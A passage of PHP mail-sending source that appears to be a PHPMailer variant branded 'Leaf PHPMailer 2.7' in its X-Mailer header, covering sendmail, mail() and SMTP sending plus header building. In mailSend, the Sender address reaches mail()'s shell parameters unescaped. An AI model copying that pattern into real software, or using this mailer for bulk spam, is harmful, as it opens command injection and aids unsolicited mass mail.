  2841. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  2842.  
  2843. }
  2844.  
  2845. } else {
  2846.  
  2847. if ($this->Mailer == 'qmail') {
  2848.  
  2849. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  2850.  
  2851. } else {
  2852.  
  2853. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  2854.  
  2855. }
  2856.  
  2857. }
  2858.  
  2859. if ($this->SingleTo) {
  2860.  
  2861. foreach ($this->SingleToArray as $toAddr) {
  2862.  
  2863. if (!@$mail = popen($sendmail, 'w')) {
  2864.  
  2865. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2866.  
  2867. }
  2868.  
  2869. fputs($mail, 'To: ' . $toAddr . "\n");
  2870.  
  2871. fputs($mail, $header);
  2872.  
  2873. fputs($mail, $body);
  2874.  
  2875. $result = pclose($mail);
  2876.  
  2877. $this->doCallback(
  2878.  
  2879. ($result == 0),
  2880.  
  2881. array($toAddr),
  2882.  
  2883. $this->cc,
  2884.  
  2885. $this->bcc,
  2886.  
  2887. $this->Subject,
  2888.  
  2889. $body,
  2890.  
  2891. $this->From
  2892.  
  2893. );
  2894.  
  2895. if ($result != 0) {
  2896.  
  2897. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2898.  
  2899. }
  2900.  
  2901. }
  2902.  
  2903. } else {
  2904.  
  2905. if (!@$mail = popen($sendmail, 'w')) {
  2906.  
  2907. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2908.  
  2909. }
  2910.  
  2911. fputs($mail, $header);
  2912.  
  2913. fputs($mail, $body);
  2914.  
  2915. $result = pclose($mail);
  2916.  
  2917. $this->doCallback(
  2918.  
  2919. ($result == 0),
  2920.  
  2921. $this->to,
  2922.  
  2923. $this->cc,
  2924.  
  2925. $this->bcc,
  2926.  
  2927. $this->Subject,
  2928.  
  2929. $body,
  2930.  
  2931. $this->From
  2932.  
  2933. );
  2934.  
  2935. if ($result != 0) {
  2936.  
  2937. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2938.  
  2939. }
  2940.  
  2941. }
  2942.  
  2943. return true;
  2944.  
  2945. }
  2946.  
  2947.  
  2948.  
  2949. /**
  2950.  
  2951. * Send mail using the PHP mail() function.
  2952.  
  2953. * @param string $header The message headers
  2954.  
  2955. * @param string $body The message body
  2956.  
  2957. * @link http://www.php.net/manual/en/book.mail.php
  2958.  
  2959. * @throws phpmailerException
  2960.  
  2961. * @access protected
  2962.  
  2963. * @return boolean
  2964.  
  2965. */
  2966.  
  2967. protected function mailSend($header, $body)
  2968.  
  2969. {
  2970.  
  2971. $toArr = array();
  2972.  
  2973. foreach ($this->to as $toaddr) {
  2974.  
  2975. $toArr[] = $this->addrFormat($toaddr);
  2976.  
  2977. }
  2978.  
  2979. $to = implode(', ', $toArr);
  2980.  
  2981.  
  2982.  
  2983. if (empty($this->Sender)) {
  2984.  
  2985. $params = ' ';
  2986.  
  2987. } else {
  2988.  
  2989. $params = sprintf('-f%s', $this->Sender);
  2990.  
  2991. }
  2992.  
  2993. if ($this->Sender != '' and !ini_get('safe_mode')) {
  2994.  
  2995. $old_from = ini_get('sendmail_from');
  2996.  
  2997. ini_set('sendmail_from', $this->Sender);
  2998.  
  2999. }
  3000.  
  3001. $result = false;
  3002.  
  3003. if ($this->SingleTo && count($toArr) > 1) {
  3004.  
  3005. foreach ($toArr as $toAddr) {
  3006.  
  3007. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  3008.  
  3009. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  3010.  
  3011. }
  3012.  
  3013. } else {
  3014.  
  3015. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  3016.  
  3017. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  3018.  
  3019. }
  3020.  
  3021. if (isset($old_from)) {
  3022.  
  3023. ini_set('sendmail_from', $old_from);
  3024.  
  3025. }
  3026.  
  3027. if (!$result) {
  3028.  
  3029. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  3030.  
  3031. }
  3032.  
  3033. return true;
  3034.  
  3035. }
  3036.  
  3037.  
  3038.  
  3039. /**
  3040.  
  3041. * Get an instance to use for SMTP operations.
  3042.  
  3043. * Override this function to load your own SMTP implementation
  3044.  
  3045. * @return SMTP
  3046.  
  3047. */
  3048.  
  3049. public function getSMTPInstance()
  3050.  
  3051. {
  3052.  
  3053. if (!is_object($this->smtp)) {
  3054.  
  3055. $this->smtp = new SMTP;
  3056.  
  3057. }
  3058.  
  3059. return $this->smtp;
  3060.  
  3061. }
  3062.  
  3063.  
  3064.  
  3065. /**
  3066.  
  3067. * Send mail via SMTP.
  3068.  
  3069. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  3070.  
  3071. * Uses the PHPMailerSMTP class by default.
  3072.  
  3073. * @see PHPMailer::getSMTPInstance() to use a different class.
  3074.  
  3075. * @param string $header The message headers
  3076.  
  3077. * @param string $body The message body
  3078.  
  3079. * @throws phpmailerException
  3080.  
  3081. * @uses SMTP
  3082.  
  3083. * @access protected
  3084.  
  3085. * @return boolean
  3086.  
  3087. */
  3088.  
  3089. protected function smtpSend($header, $body)
  3090.  
  3091. {
  3092.  
  3093. $bad_rcpt = array();
  3094.  
  3095. if (!$this->smtpConnect($this->SMTPOptions)) {
  3096.  
  3097. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  3098.  
  3099. }
  3100.  
  3101. if ('' == $this->Sender) {
  3102.  
  3103. $smtp_from = $this->From;
  3104.  
  3105. } else {
  3106.  
  3107. $smtp_from = $this->Sender;
  3108.  
  3109. }
  3110.  
  3111. if (!$this->smtp->mail($smtp_from)) {
  3112.  
  3113. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  3114.  
  3115. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  3116.  
  3117. }
  3118.  
  3119.  
  3120.  
  3121. // Attempt to send to all recipients
  3122.  
  3123. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  3124.  
  3125. foreach ($togroup as $to) {
  3126.  
  3127. if (!$this->smtp->recipient($to[0])) {
  3128.  
  3129. $error = $this->smtp->getError();
  3130.  
  3131. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  3132.  
  3133. $isSent = false;
  3134.  
  3135. } else {
  3136.  
  3137. $isSent = true;
  3138.  
  3139. }
  3140.  
  3141. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  3142.  
  3143. }
  3144.  
  3145. }
  3146.  
  3147.  
  3148.  
  3149. // Only send the DATA command if we have viable recipients
  3150.  
  3151. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  3152.  
  3153. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  3154.  
  3155. }
  3156.  
  3157. if ($this->SMTPKeepAlive) {
  3158.  
  3159. $this->smtp->reset();
  3160.  
  3161. } else {
  3162.  
  3163. $this->smtp->quit();
  3164.  
  3165. $this->smtp->close();
  3166.  
  3167. }
  3168.  
  3169. //Create error message for any bad addresses
  3170.  
  3171. if (count($bad_rcpt) > 0) {
  3172.  
  3173. $errstr = '';
  3174.  
  3175. foreach ($bad_rcpt as $bad) {
  3176.  
  3177. $errstr .= $bad['to'] . ': ' . $bad['error'];
  3178.  
  3179. }
  3180.  
  3181. throw new phpmailerException(
  3182.  
  3183. $this->lang('recipients_failed') . $errstr,
  3184.  
  3185. self::STOP_CONTINUE
  3186.  
  3187. );
  3188.  
  3189. }
  3190.  
  3191. return true;
  3192.  
  3193. }
  3194.  
  3195.  
  3196.  
  3197. /**
  3198.  
  3199. * Initiate a connection to an SMTP server.
  3200.  
  3201. * Returns false if the operation failed.
  3202.  
  3203. * @param array $options An array of options compatible with stream_context_create()
  3204.  
  3205. * @uses SMTP
  3206.  
  3207. * @access public
  3208.  
  3209. * @throws phpmailerException
  3210.  
  3211. * @return boolean
  3212.  
  3213. */
  3214.  
  3215. public function smtpConnect($options = array())
  3216.  
  3217. {
  3218.  
  3219. if (is_null($this->smtp)) {
  3220.  
  3221. $this->smtp = $this->getSMTPInstance();
  3222.  
  3223. }
  3224.  
  3225.  
  3226.  
  3227. // Already connected?
  3228.  
  3229. if ($this->smtp->connected()) {
  3230.  
  3231. return true;
  3232.  
  3233. }
  3234.  
  3235.  
  3236.  
  3237. $this->smtp->setTimeout($this->Timeout);
  3238.  
  3239. $this->smtp->setDebugLevel($this->SMTPDebug);
  3240.  
  3241. $this->smtp->setDebugOutput($this->Debugoutput);
  3242.  
  3243. $this->smtp->setVerp($this->do_verp);
  3244.  
  3245. $hosts = explode(';', $this->Host);
  3246.  
  3247. $lastexception = null;
  3248.  
  3249.  
  3250.  
  3251. foreach ($hosts as $hostentry) {
  3252.  
  3253. $hostinfo = array();
  3254.  
  3255. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  3256.  
  3257. // Not a valid host entry
  3258.  
  3259. continue;
  3260.  
  3261. }
  3262.  
  3263. // $hostinfo[2]: optional ssl or tls prefix
  3264.  
  3265. // $hostinfo[3]: the hostname
  3266.  
  3267. // $hostinfo[4]: optional port number
  3268.  
  3269. // The host string prefix can temporarily override the current setting for SMTPSecure
  3270.  
  3271. // If it's not specified, the default value is used
  3272.  
  3273. $prefix = '';
  3274.  
  3275. $secure = $this->SMTPSecure;
  3276.  
  3277. $tls = ($this->SMTPSecure == 'tls');
  3278.  
  3279. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  3280.  
  3281. $prefix = 'ssl://';
  3282.  
  3283. $tls = false; // Can't have SSL and TLS at the same time
  3284.  
  3285. $secure = 'ssl';
  3286.  
  3287. } elseif ($hostinfo[2] == 'tls') {
  3288.  
  3289. $tls = true;
  3290.  
  3291. // tls doesn't use a prefix
  3292.  
  3293. $secure = 'tls';
  3294.  
  3295. }
  3296.  
  3297. //Do we need the OpenSSL extension?
  3298.  
  3299. $sslext = defined('OPENSSL_ALGO_SHA1');
  3300.  
  3301. if ('tls' === $secure or 'ssl' === $secure) {
  3302.  
  3303. //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  3304.  
  3305. if (!$sslext) {
  3306.  
  3307. throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  3308.  
  3309. }
  3310.  
  3311. }
  3312.  
  3313. $host = $hostinfo[3];
  3314.  
  3315. $port = $this->Port;
  3316.  
  3317. $tport = (integer)$hostinfo[4];
  3318.  
  3319. if ($tport > 0 and $tport < 65536) {
  3320.  
  3321. $port = $tport;
  3322.  
  3323. }
  3324.  
  3325. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  3326.  
  3327. try {
  3328.  
  3329. if ($this->Helo) {
  3330.  
  3331. $hello = $this->Helo;
  3332.  
  3333. } else {
  3334.  
  3335. $hello = $this->serverHostname();
  3336.  
  3337. }
  3338.  
  3339. $this->smtp->hello($hello);
  3340.  
  3341. //Automatically enable TLS encryption if:
  3342.  
  3343. // * it's not disabled
  3344.  
  3345. // * we have openssl extension
  3346.  
  3347. // * we are not already using SSL
  3348.  
  3349. // * the server offers STARTTLS
  3350.  
  3351. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  3352.  
  3353. $tls = true;
  3354.  
  3355. }
  3356.  
  3357. if ($tls) {
  3358.  
  3359. if (!$this->smtp->startTLS()) {
  3360.  
  3361. throw new phpmailerException($this->lang('connect_host'));
  3362.  
  3363. }
  3364.  
  3365. // We must resend HELO after tls negotiation
  3366.  
  3367. $this->smtp->hello($hello);
  3368.  
  3369. }
  3370.  
  3371. if ($this->SMTPAuth) {
  3372.  
  3373. if (!$this->smtp->authenticate(
  3374.  
  3375. $this->Username,
  3376.  
  3377. $this->Password,
  3378.  
  3379. $this->AuthType,
  3380.  
  3381. $this->Realm,
  3382.  
  3383. $this->Workstation
  3384.  
  3385. )
  3386.  
  3387. ) {
  3388.  
  3389. throw new phpmailerException($this->lang('authenticate'));
  3390.  
  3391. }
  3392.  
  3393. }
  3394.  
  3395. return true;
  3396.  
  3397. } catch (phpmailerException $exc) {
  3398.  
  3399. $lastexception = $exc;
  3400.  
  3401. $this->edebug($exc->getMessage());
  3402.  
  3403. // We must have connected, but then failed TLS or Auth, so close connection nicely
  3404.  
  3405. $this->smtp->quit();
  3406.  
  3407. }
  3408.  
  3409. }
  3410.  
  3411. }
  3412.  
  3413. // If we get here, all connection attempts have failed, so close connection hard
  3414.  
  3415. $this->smtp->close();
  3416.  
  3417. // As we've caught all exceptions, just report whatever the last one was
  3418.  
  3419. if ($this->exceptions and !is_null($lastexception)) {
  3420.  
  3421. throw $lastexception;
  3422.  
  3423. }
  3424.  
  3425. return false;
  3426.  
  3427. }
  3428.  
  3429.  
  3430.  
  3431. /**
  3432.  
  3433. * Close the active SMTP session if one exists.
  3434.  
  3435. * @return void
  3436.  
  3437. */
  3438.  
  3439. public function smtpClose()
  3440.  
  3441. {
  3442.  
  3443. if ($this->smtp !== null) {
  3444.  
  3445. if ($this->smtp->connected()) {
  3446.  
  3447. $this->smtp->quit();
  3448.  
  3449. $this->smtp->close();
  3450.  
  3451. }
  3452.  
  3453. }
  3454.  
  3455. }
  3456.  
  3457.  
  3458.  
  3459. /**
  3460.  
  3461. * Set the language for error messages.
  3462.  
  3463. * Returns false if it cannot load the language file.
  3464.  
  3465. * The default language is English.
  3466.  
  3467. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  3468.  
  3469. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  3470.  
  3471. * @return boolean
  3472.  
  3473. * @access public
  3474.  
  3475. */
  3476.  
  3477. public function setLanguage($langcode = 'en', $lang_path = '')
  3478.  
  3479. {
  3480.  
  3481. // Define full set of translatable strings in English
  3482.  
  3483. $PHPMAILER_LANG = array(
  3484.  
  3485. 'authenticate' => 'SMTP Error: Could not authenticate.',
  3486.  
  3487. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  3488.  
  3489. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  3490.  
  3491. 'empty_message' => 'Message body empty',
  3492.  
  3493. 'encoding' => 'Unknown encoding: ',
  3494.  
  3495. 'execute' => 'Could not execute: ',
  3496.  
  3497. 'file_access' => 'Could not access file: ',
  3498.  
  3499. 'file_open' => 'File Error: Could not open file: ',
  3500.  
  3501. 'from_failed' => 'The following From address failed: ',
  3502.  
  3503. 'instantiate' => 'Could not instantiate mail function.',
  3504.  
  3505. 'invalid_address' => 'Invalid address: ',
  3506.  
  3507. 'mailer_not_supported' => ' mailer is not supported.',
  3508.  
  3509. 'provide_address' => 'You must provide at least one recipient email address.',
  3510.  
  3511. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  3512.  
  3513. 'signing' => 'Signing Error: ',
  3514.  
  3515. 'smtp_connect_failed' => 'SMTP connect() failed.',
  3516.  
  3517. 'smtp_error' => 'SMTP server error: ',
  3518.  
  3519. 'variable_set' => 'Cannot set or reset variable: ',
  3520.  
  3521. 'extension_missing' => 'Extension missing: '
  3522.  
  3523. );
  3524.  
  3525. if (empty($lang_path)) {
  3526.  
  3527. // Calculate an absolute path so it can work if CWD is not here
  3528.  
  3529. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  3530.  
  3531. }
  3532.  
  3533. $foundlang = true;
  3534.  
  3535. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  3536.  
  3537. // There is no English translation file
  3538.  
  3539. if ($langcode != 'en') {
  3540.  
  3541. // Make sure language file path is readable
  3542.  
  3543. if (!is_readable($lang_file)) {
  3544.  
  3545. $foundlang = false;
  3546.  
  3547. } else {
  3548.  
  3549. // Overwrite language-specific strings.
  3550.  
  3551. // This way we'll never have missing translation keys.
  3552.  
  3553. $foundlang = include $lang_file;
  3554.  
  3555. }
  3556.  
  3557. }
  3558.  
  3559. $this->language = $PHPMAILER_LANG;
  3560.  
  3561. return (boolean)$foundlang; // Returns false if language not found
  3562.  
  3563. }
  3564.  
  3565.  
  3566.  
  3567. /**
  3568.  
  3569. * Get the array of strings for the current language.
  3570.  
  3571. * @return array
  3572.  
  3573. */
  3574.  
  3575. public function getTranslations()
  3576.  
  3577. {
  3578.  
  3579. return $this->language;
  3580.  
  3581. }
  3582.  
  3583.  
  3584.  
  3585. /**
  3586.  
  3587. * Create recipient headers.
  3588.  
  3589. * @access public
  3590.  
  3591. * @param string $type
  3592.  
  3593. * @param array $addr An array of recipient,
  3594.  
  3595. * where each recipient is a 2-element indexed array with element 0 containing an address
  3596.  
  3597. * and element 1 containing a name, like:
  3598.  
  3599. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  3600.  
  3601. * @return string
  3602.  
  3603. */
  3604.  
  3605. public function addrAppend($type, $addr)
  3606.  
  3607. {
  3608.  
  3609. $addresses = array();
  3610.  
  3611. foreach ($addr as $address) {
  3612.  
  3613. $addresses[] = $this->addrFormat($address);
  3614.  
  3615. }
  3616.  
  3617. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  3618.  
  3619. }
  3620.  
  3621.  
  3622.  
  3623. /**
  3624.  
  3625. * Format an address for use in a message header.
  3626.  
  3627. * @access public
  3628.  
  3629. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  3630.  
  3631. * like array('joe@example.com', 'Joe User')
  3632.  
  3633. * @return string
  3634.  
  3635. */
  3636.  
  3637. public function addrFormat($addr)
  3638.  
  3639. {
  3640.  
  3641. if (empty($addr[1])) { // No name provided
  3642.  
  3643. return $this->secureHeader($addr[0]);
  3644.  
  3645. } else {
  3646.  
  3647. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  3648.  
  3649. $addr[0]
  3650.  
  3651. ) . '>';
  3652.  
  3653. }
  3654.  
  3655. }
  3656.  
  3657.  
  3658.  
  3659. /**
  3660.  
  3661. * Word-wrap message.
  3662.  
  3663. * For use with mailers that do not automatically perform wrapping
  3664.  
  3665. * and for quoted-printable encoded messages.
  3666.  
  3667. * Original written by philippe.
  3668.  
  3669. * @param string $message The message to wrap
  3670.  
  3671. * @param integer $length The line length to wrap to
  3672.  
  3673. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  3674.  
  3675. * @access public
  3676.  
  3677. * @return string
  3678.  
  3679. */
  3680.  
  3681. public function wrapText($message, $length, $qp_mode = false)
  3682.  
  3683. {
  3684.  
  3685. if ($qp_mode) {
  3686.  
  3687. $soft_break = sprintf(' =%s', $this->LE);
  3688.  
  3689. } else {
  3690.  
  3691. $soft_break = $this->LE;
  3692.  
  3693. }
  3694.  
  3695. // If utf-8 encoding is used, we will need to make sure we don't
  3696.  
  3697. // split multibyte characters when we wrap
  3698.  
  3699. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  3700.  
  3701. $lelen = strlen($this->LE);
  3702.  
  3703. $crlflen = strlen(self::CRLF);
  3704.  
  3705.  
  3706.  
  3707. $message = $this->fixEOL($message);
  3708.  
  3709. //Remove a trailing line break
  3710.  
  3711. if (substr($message, -$lelen) == $this->LE) {
  3712.  
  3713. $message = substr($message, 0, -$lelen);
  3714.  
  3715. }
  3716.  
  3717.  
  3718.  
  3719. //Split message into lines
  3720.  
  3721. $lines = explode($this->LE, $message);
  3722.  
  3723. //Message will be rebuilt in here
  3724.  
  3725. $message = '';
  3726.  
  3727. foreach ($lines as $line) {
  3728.  
  3729. $words = explode(' ', $line);
  3730.  
  3731. $buf = '';
  3732.  
  3733. $firstword = true;
  3734.  
  3735. foreach ($words as $word) {
  3736.  
  3737. if ($qp_mode and (strlen($word) > $length)) {
  3738.  
  3739. $space_left = $length - strlen($buf) - $crlflen;
  3740.  
  3741. if (!$firstword) {
  3742.  
  3743. if ($space_left > 20) {
  3744.  
  3745. $len = $space_left;
  3746.  
  3747. if ($is_utf8) {
  3748.  
  3749. $len = $this->utf8CharBoundary($word, $len);
  3750.  
  3751. } elseif (substr($word, $len - 1, 1) == '=') {
  3752.  
  3753. $len--;
  3754.  
  3755. } elseif (substr($word, $len - 2, 1) == '=') {
  3756.  
  3757. $len -= 2;
  3758.  
  3759. }
  3760.  
  3761. $part = substr($word, 0, $len);
  3762.  
  3763. $word = substr($word, $len);
  3764.  
  3765. $buf .= ' ' . $part;
  3766.  
  3767. $message .= $buf . sprintf('=%s', self::CRLF);
  3768.  
  3769. } else {
  3770.  
  3771. $message .= $buf . $soft_break;
  3772.  
  3773. }
  3774.  
  3775. $buf = '';
  3776.  
  3777. }
  3778.  
  3779. while (strlen($word) > 0) {
  3780.  
  3781. if ($length <= 0) {
  3782.  
  3783. break;
  3784.  
  3785. }
  3786.  
  3787. $len = $length;
  3788.  
  3789. if ($is_utf8) {
  3790.  
  3791. $len = $this->utf8CharBoundary($word, $len);
  3792.  
  3793. } elseif (substr($word, $len - 1, 1) == '=') {
  3794.  
  3795. $len--;
  3796.  
  3797. } elseif (substr($word, $len - 2, 1) == '=') {
  3798.  
  3799. $len -= 2;
  3800.  
  3801. }
  3802.  
  3803. $part = substr($word, 0, $len);
  3804.  
  3805. $word = substr($word, $len);
  3806.  
  3807.  
  3808.  
  3809. if (strlen($word) > 0) {
  3810.  
  3811. $message .= $part . sprintf('=%s', self::CRLF);
  3812.  
  3813. } else {
  3814.  
  3815. $buf = $part;
  3816.  
  3817. }
  3818.  
  3819. }
  3820.  
  3821. } else {
  3822.  
  3823. $buf_o = $buf;
  3824.  
  3825. if (!$firstword) {
  3826.  
  3827. $buf .= ' ';
  3828.  
  3829. }
  3830.  
  3831. $buf .= $word;
  3832.  
  3833.  
  3834.  
  3835. if (strlen($buf) > $length and $buf_o != '') {
  3836.  
  3837. $message .= $buf_o . $soft_break;
  3838.  
  3839. $buf = $word;
  3840.  
  3841. }
  3842.  
  3843. }
  3844.  
  3845. $firstword = false;
  3846.  
  3847. }
  3848.  
  3849. $message .= $buf . self::CRLF;
  3850.  
  3851. }
  3852.  
  3853.  
  3854.  
  3855. return $message;
  3856.  
  3857. }
  3858.  
  3859.  
  3860.  
  3861. /**
  3862.  
  3863. * Find the last character boundary prior to $maxLength in a utf-8
  3864.  
  3865. * quoted-printable encoded string.
  3866.  
  3867. * Original written by Colin Brown.
  3868.  
  3869. * @access public
  3870.  
  3871. * @param string $encodedText utf-8 QP text
  3872.  
  3873. * @param integer $maxLength Find the last character boundary prior to this length
  3874.  
  3875. * @return integer
  3876.  
  3877. */
  3878.  
  3879. public function utf8CharBoundary($encodedText, $maxLength)
  3880.  
  3881. {
  3882.  
  3883. $foundSplitPos = false;
  3884.  
  3885. $lookBack = 3;
  3886.  
  3887. while (!$foundSplitPos) {
  3888.  
  3889. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  3890.  
  3891. $encodedCharPos = strpos($lastChunk, '=');
  3892.  
  3893. if (false !== $encodedCharPos) {
  3894.  
  3895. // Found start of encoded character byte within $lookBack block.
  3896.  
  3897. // Check the encoded byte value (the 2 chars after the '=')
  3898.  
  3899. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  3900.  
  3901. $dec = hexdec($hex);
  3902.  
  3903. if ($dec < 128) {
  3904.  
  3905. // Single byte character.
  3906.  
  3907. // If the encoded char was found at pos 0, it will fit
  3908.  
  3909. // otherwise reduce maxLength to start of the encoded char
  3910.  
  3911. if ($encodedCharPos > 0) {
  3912.  
  3913. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  3914.  
  3915. }
  3916.  
  3917. $foundSplitPos = true;
  3918.  
  3919. } elseif ($dec >= 192) {
  3920.  
  3921. // First byte of a multi byte character
  3922.  
  3923. // Reduce maxLength to split at start of character
  3924.  
  3925. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  3926.  
  3927. $foundSplitPos = true;
  3928.  
  3929. } elseif ($dec < 192) {
  3930.  
  3931. // Middle byte of a multi byte character, look further back
  3932.  
  3933. $lookBack += 3;
  3934.  
  3935. }
  3936.  
  3937. } else {
  3938.  
  3939. // No encoded character found
  3940.  
  3941. $foundSplitPos = true;
  3942.  
  3943. }
  3944.  
  3945. }
  3946.  
  3947. return $maxLength;
  3948.  
  3949. }
  3950.  
  3951.  
  3952.  
  3953. /**
  3954.  
  3955. * Apply word wrapping to the message body.
  3956.  
  3957. * Wraps the message body to the number of chars set in the WordWrap property.
  3958.  
  3959. * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  3960.  
  3961. * This is called automatically by createBody(), so you don't need to call it yourself.
  3962.  
  3963. * @access public
  3964.  
  3965. * @return void
  3966.  
  3967. */
  3968.  
  3969. public function setWordWrap()
  3970.  
  3971. {
  3972.  
  3973. if ($this->WordWrap < 1) {
  3974.  
  3975. return;
  3976.  
  3977. }
  3978.  
  3979.  
  3980.  
  3981. switch ($this->message_type) {
  3982.  
  3983. case 'alt':
  3984.  
  3985. case 'alt_inline':
  3986.  
  3987. case 'alt_attach':
  3988.  
  3989. case 'alt_inline_attach':
  3990.  
  3991. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  3992.  
  3993. break;
  3994.  
  3995. default:
  3996.  
  3997. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  3998.  
  3999. break;
  4000.  
  4001. }
  4002.  
  4003. }
  4004.  
  4005.  
  4006.  
  4007. /**
  4008.  
  4009. * Assemble message headers.
  4010.  
  4011. * @access public
  4012.  
  4013. * @return string The assembled headers
  4014.  
  4015. */
  4016.  
  4017. public function createHeader()
  4018.  
  4019. {
  4020.  
  4021. $result = '';
  4022.  
  4023.  
  4024.  
  4025. if ($this->MessageDate == '') {
  4026.  
  4027. $this->MessageDate = self::rfcDate();
  4028.  
  4029. }
  4030.  
  4031. $result .= $this->headerLine('Date', $this->MessageDate);
  4032.  
  4033.  
  4034.  
  4035. // To be created automatically by mail()
  4036.  
  4037. if ($this->SingleTo) {
  4038.  
  4039. if ($this->Mailer != 'mail') {
  4040.  
  4041. foreach ($this->to as $toaddr) {
  4042.  
  4043. $this->SingleToArray[] = $this->addrFormat($toaddr);
  4044.  
  4045. }
  4046.  
  4047. }
  4048.  
  4049. } else {
  4050.  
  4051. if (count($this->to) > 0) {
  4052.  
  4053. if ($this->Mailer != 'mail') {
  4054.  
  4055. $result .= $this->addrAppend('To', $this->to);
  4056.  
  4057. }
  4058.  
  4059. } elseif (count($this->cc) == 0) {
  4060.  
  4061. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  4062.  
  4063. }
  4064.  
  4065. }
  4066.  
  4067.  
  4068.  
  4069. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  4070.  
  4071.  
  4072.  
  4073. // sendmail and mail() extract Cc from the header before sending
  4074.  
  4075. if (count($this->cc) > 0) {
  4076.  
  4077. $result .= $this->addrAppend('Cc', $this->cc);
  4078.  
  4079. }
  4080.  
  4081.  
  4082.  
  4083. // sendmail and mail() extract Bcc from the header before sending
  4084.  
  4085. if ((
  4086.  
  4087. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  4088.  
  4089. )
  4090.  
  4091. and count($this->bcc) > 0
  4092.  
  4093. ) {
  4094.  
  4095. $result .= $this->addrAppend('Bcc', $this->bcc);
  4096.  
  4097. }
  4098.  
  4099.  
  4100.  
  4101. if (count($this->ReplyTo) > 0) {
  4102.  
  4103. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  4104.  
  4105. }
  4106.  
  4107.  
  4108.  
  4109. // mail() sets the subject itself
  4110.  
  4111. if ($this->Mailer != 'mail') {
  4112.  
  4113. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  4114.  
  4115. }
  4116.  
  4117.  
  4118.  
  4119. if ($this->MessageID != '') {
  4120.  
  4121. $this->lastMessageID = $this->MessageID;
  4122.  
  4123. } else {
  4124.  
  4125. $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  4126.  
  4127. }
  4128.  
  4129. $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  4130.  
  4131. if (!is_null($this->Priority)) {
  4132.  
  4133. $result .= $this->headerLine('X-Priority', $this->Priority);
  4134.  
  4135. }
  4136.  
  4137. if ($this->XMailer == '') {
  4138.  
  4139. $result .= $this->headerLine(
  4140.  
  4141. 'X-Mailer',
  4142.  
  4143. 'Leaf PHPMailer 2.7 (leafmailer.pw)'
  4144.  
  4145. );
  4146.  
  4147. } else {
  4148.  
  4149. $myXmailer = trim($this->XMailer);
  4150.  
  4151. if ($myXmailer) {
  4152.  
  4153. $result .= $this->headerLine('X-Mailer', $myXmailer);
  4154.  
  4155. }
  4156.  
  4157. }
  4158.  
  4159.  
  4160.  
  4161. if ($this->ConfirmReadingTo != '') {
  4162.  
  4163. $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  4164.  
  4165. }
  4166.  
  4167.  
  4168.  
  4169. // Add custom headers
  4170.  
  4171. foreach ($this->CustomHeader as $header) {
  4172.  
  4173. $result .= $this->headerLine(
  4174.  
  4175. trim($header[0]),
  4176.  
  4177. $this->encodeHeader(trim($header[1]))
  4178.  
  4179. );
